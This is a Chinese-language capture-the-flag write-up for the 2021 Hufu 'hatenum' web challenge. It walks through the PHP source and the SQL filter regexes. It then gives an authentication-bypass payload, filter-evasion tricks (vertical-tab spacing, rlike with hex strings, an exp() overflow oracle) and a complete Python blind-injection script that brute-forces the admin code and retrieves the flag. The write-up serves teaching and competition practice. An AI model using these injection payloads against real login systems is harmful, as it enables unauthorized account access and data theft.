2021-数字中国创新大赛-虎符网络安全赛道-决赛-Web-hatenum 及 源代码分析和payload脚本分析
(CTFHUB平台)
首页
源代码分析
-
源代码目录结构如下:
-
index.php
-
首页页面, 使用post方法提交登录表单到login.php
-
-
config.php
-
User类,包含MySQL数据库登录\用户查询\用户创建\用户信息验证(login) 功能
-
其中login用户信息验证中包含sql语句拼接和code验证(code来自$res, $res来自select检索到的信息, 故猜测code的值唯一(对所有用户唯一还是对单个用户唯一需要确认))
-
-
-
array_waf递归检测接收的数据, 分别进行num_waf数字检测(9位10进制或9位16进制)和sql_waf检测(检测是否包含关键字符)
-
-
register.php
-
引入config.php
-
waf检测index提交的表单的数据
-
限制username长度最大30
-
User.find 查询username是否存在, 若存在返回到index, 若不存在 User.register注册账号
-
-
login.php
-
引入config.php
-
waf检测index提交的表单的数据
-
若表单各项数据都不为空, 则User.login(表单数据),使用表单数据进行登录(与数据库信息匹配)
-
若成功则跳转到home页面(必定会携带cookie) 失败则到index重新登录
-
-
home.php
-
检测登入用户的用户名是否为 admin, 若是则 echo file_get_contents('/flag') 返回flag信息
-
思路
获取flag就只能 admin登录成功才行, 故需sql注入绕过密码, 由于code是直接判断不在sql语句中, code无法绕过, 因其唯一性且没有登录次数限制, 可以进行暴力破解
-
0, 验证code值的唯一性, 尝试拆解破解code值
-
1.1, 直接使用admin, 绕过密码验证, 使用code登录
-
1.2, 根据响应包和cookie值, 尝试进行垂直越权
开干
绕waf
sql_waf为'/union|select|or|and|\'|"|sleep|benchmark|regexp|repeat|get_lock|count|=|>|<| |\*|,|;|\r|\n|\t|substr|right|left|mid/i'
数字waf为'/\d{9}|0x[0-9a-f]{9}/i'
-
密码绕过如下:
username=admin
password=||1#
select * from users where username='admin' and password='||1#'
-
爆破code
根据sql_waf和sql语句(注入点只有 password)以及 home返回值为 flag或hello username, 返回内容有限只有error
和login fail
两种(由于是通过password破解code,code的值不重要可忽略, 即不可能出现login success),故采取布尔盲注-
盲注正确为 login fail
-
盲注错误为 error
-
布尔盲注
盲注通常会使用这些关键字: 字符截取类(substr) , 条件判断类(if), 语句分割类(空格,/**/), 逻辑判断类(and,or,>,<,=,!=), ASCII, 注释符(--,#)
字符串截取类
-
禁用:substr、left、right、mid
-
绕过: like、rlike、instr
其中like与rlike的区别是 rlike支持正则表达式,而like只支持如%,_等有限的通配符
语句分割
-
禁用: 空格、r(%0d)、n(%0a)、t(%09)
语句之间分割常常使用空格
-
绕过: %a0(&nbsp)、%0b(垂直制表符)、%0c(换页符)
逻辑运算
-
禁用: and、or、=、>、<、regexp
-
绕过: &&、||、 like、greatest、least
条件判断(case, nullif)
-
禁用: 因为禁用了
,
,所以if 语句没发使用----------------------
盲注思路: 先盲注 长度, 在依次盲注字符
编写脚本(payload解析)
由于不确定 code 是对 所以用户唯一, 还是每个用户单独一个code, 以下的payload要对username做出限制,限制为admin
-
获取code长度
-
payload为
||1 && username rlike 0x61646d && exp(710-((length(code)) like ({i})))#
-
&& username rlike 0x61646d &&
限制username为包含adm(即admin), 为防止出现 adm111之类的username, 适当修改匹配的字符, 看破解的code是否相同
-
# 0x61646d 解码后为 adm
def get_code_length():
for i in range(20):
guess_length_payload=f'||1 && username rlike 0x61646d && exp(710-((length(code)) like ({i})))#'
# guess_length_payload=f'||exp(710-((length(code)) like ({i})))#'
payload=guess_length_payload.replace(' ',chr(0x0b))
data={
'username':'admin\\',
'password':payload,
'code':'123'
}
response=requests.post(base_url+'/login.php',data=data,allow_redirects=False,proxies={'http':'127.0.0.1:8080'})
if 'fail' in response.text:
return i
return False
-
获取code
-
payload:
||1 && username rlike 0x61646d && exp(710-(code rlike binary {str2hex(tmp+i)}))#
-
由于waf限制超过9个字符的16进制或10进制会被检测到, 故选择8个16进制(即4个字符)来进行匹配, 绕过waf
-
由于普通的rlike不能准确匹配大小写, 故使用binary进行二进制比较(能够比较大小写)
-
注意:
-
由于每次只能匹配3-4个字符, 且
rlike
只能 从左往右匹配第一个, 导致 当code中存在重复的字符时, 结果可能出错, 无法匹配到末尾字符 -
故 增加末尾匹配, 从多维度进行分析
-
这和真实的code还是有一定差距, 但是 通过分析,可以以极少的数据量, 枚举出结果
def str2hex(raw):
ret = '0x'
for i in raw:
# ord 返回对应的ASCII数值,hex 返回16进制数,以字符串形式表示,rjust返回一个长度为2的字符串,不够用0替补
# 转换16进制,16进制在数据库执行查询时又默认转换成字符串
ret += hex(ord(i))[2:].rjust(2,'0')
return ret
def get_code(length):
# 从开头匹配
tmp='^'
result1=''
while len(result1) < length:
# 不知道是否包含特殊字符和数字,先使用字母进行匹配
for i in string.ascii_letters:
guess_str_payload=f'||1 && username rlike 0x61646d && exp(710-(code rlike binary {str2hex(tmp+i)}))#'
payload=guess_str_payload.replace(' ',chr(0x0b))
data={
'username':'admin\\',
'password':payload,
'code':'123'
}
response=requests.post(base_url+'/login.php',data=data,allow_redirects=False,proxies={'http':'127.0.0.1:8080'})
if 'fail' in response.text:
result1+=i
if len(tmp) == 3:
tmp=tmp[1:]+i
else:
tmp+=i
break
log.info(f'result1 =>{result1}')
# 从末尾匹配
tmp='$'
result2=''
while len(result2) < length:
# 不知道是否包含特殊字符和数字,先使用字母进行匹配
for i in string.ascii_letters:
guess_str_payload=f'||1 && username rlike 0x61646d && exp(710-(code rlike binary {str2hex(i+tmp)}))#'
payload=guess_str_payload.replace(' ',chr(0x0b))
data={
'username':'admin\\',
'password':payload,
'code':'123'
}
response=requests.post(base_url+'/login.php',data=data,allow_redirects=False,proxies={'http':'127.0.0.1:8080'})
if 'fail' in response.text:
result2=i+result2
if len(tmp) == 3:
tmp=i+tmp[:-1]
else:
tmp=i+tmp
break
log.info(f'result2 =>{result2}')
if result2==result1:
return result1
else:
log.debug(f'长度:{length},result1:{result1}, result2:{result2}')
return input('输入分析后的 result:')
-
获取flag
-
注意 允许跳转(默认), 在响应体中匹配hub等flag字符
def get_flag(code):
guess_str_payload='||1#'
payload=guess_str_payload.replace(' ',chr(0x0b))
data={
'username':'admin',
'password':payload,
'code':code
}
response=requests.post(base_url+'/login.php',data=data,proxies={'http':'127.0.0.1:8080'})
if 'hub' in response.text:
return response.text
else:
return False
总代码
import requests
from loguru import logger as log
import string
base_url='http://127.0.0.1/hatenum'
# 0x61646d 解码后为 adm
def get_code_length():
# guess_str_payload=f'||1 && username rlike 0x61646d && exp(710-(code rlike binary {}))#'
for i in range(20):
guess_length_payload=f'||1 && username rlike 0x61646d && exp(710-((length(code)) like ({i})))#'
# guess_length_payload=f'||exp(710-((length(code)) like ({i})))#'
payload=guess_length_payload.replace(' ',chr(0x0b))
data={
'username':'admin\\',
'password':payload,
'code':'123'
}
response=requests.post(base_url+'/login.php',data=data,allow_redirects=False,proxies={'http':'127.0.0.1:8080'})
if 'fail' in response.text:
return i
return False
def str2hex(raw):
ret = '0x'
for i in raw:
# ord 返回对应的ASCII数值,hex 返回16进制数,以字符串形式表示,rjust返回一个长度为2的字符串,不够用0替补
# 转换16进制,16进制在数据库执行查询时又默认转换成字符串
ret += hex(ord(i))[2:].rjust(2,'0')
return ret
def get_code(length):
# 从开头匹配
tmp='^'
result1=''
while len(result1) < length:
# 不知道是否包含特殊字符和数字,先使用字母进行匹配
for i in string.ascii_letters:
guess_str_payload=f'||1 && username rlike 0x61646d && exp(710-(code rlike binary {str2hex(tmp+i)}))#'
payload=guess_str_payload.replace(' ',chr(0x0b))
data={
'username':'admin\\',
'password':payload,
'code':'123'
}
response=requests.post(base_url+'/login.php',data=data,allow_redirects=False,proxies={'http':'127.0.0.1:8080'})
if 'fail' in response.text:
result1+=i
if len(tmp) == 3:
tmp=tmp[1:]+i
else:
tmp+=i
break
log.info(f'result1 =>{result1}')
# 从末尾匹配
tmp='$'
result2=''
while len(result2) < length:
# 不知道是否包含特殊字符和数字,先使用字母进行匹配
for i in string.ascii_letters:
guess_str_payload=f'||1 && username rlike 0x61646d && exp(710-(code rlike binary {str2hex(i+tmp)}))#'
payload=guess_str_payload.replace(' ',chr(0x0b))
data={
'username':'admin\\',
'password':payload,
'code':'123'
}
response=requests.post(base_url+'/login.php',data=data,allow_redirects=False,proxies={'http':'127.0.0.1:8080'})
if 'fail' in response.text:
result2=i+result2
if len(tmp) == 3:
tmp=i+tmp[:-1]
else:
tmp=i+tmp
break
log.info(f'result2 =>{result2}')
if result2==result1:
return result1
else:
log.debug(f'长度:{length},result1:{result1}, result2:{result2}')
return input('输入分析后的 result:')
def get_flag(code):
guess_str_payload='||1#'
payload=guess_str_payload.replace(' ',chr(0x0b))
data={
'username':'admin',
'password':payload,
'code':code
}
response=requests.post(base_url+'/login.php',data=data,proxies={'http':'127.0.0.1:8080'})
if 'hub' in response.text:
return response.text
else:
return False
if __name__=='__main__':
length = get_code_length()
log.debug(f'code 长度为:{length}')
if length:
code=get_code(length)
log.debug(f'采用的code为: {code}')
flag=get_flag(code)
if flag:
log.success(f'{flag}')
else:
log.error('flag 获取失败')
reference
2021-虎符网络安全赛道-hatenum | exp()函数与正则过滤-CSDN博客
[文章 - 如何使用 MySQL exp() 函数进行 Sql 注入 - 先知社区](https://xz.aliyun.com/news/9304#:~:text=我们知道,次方到后边每增加 1,其结果都将跨度极大,而 MySQL 能记录的 Double 数值范围有限,一旦结果超过范围,则该函数报错。 这个范围的极限是 709,当传递一个大于,就会引起一个溢出错误: 除了 exp () 之外,还有类似 pow () 之类的相似函数同样是可利用的,他们的原理相同。)
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)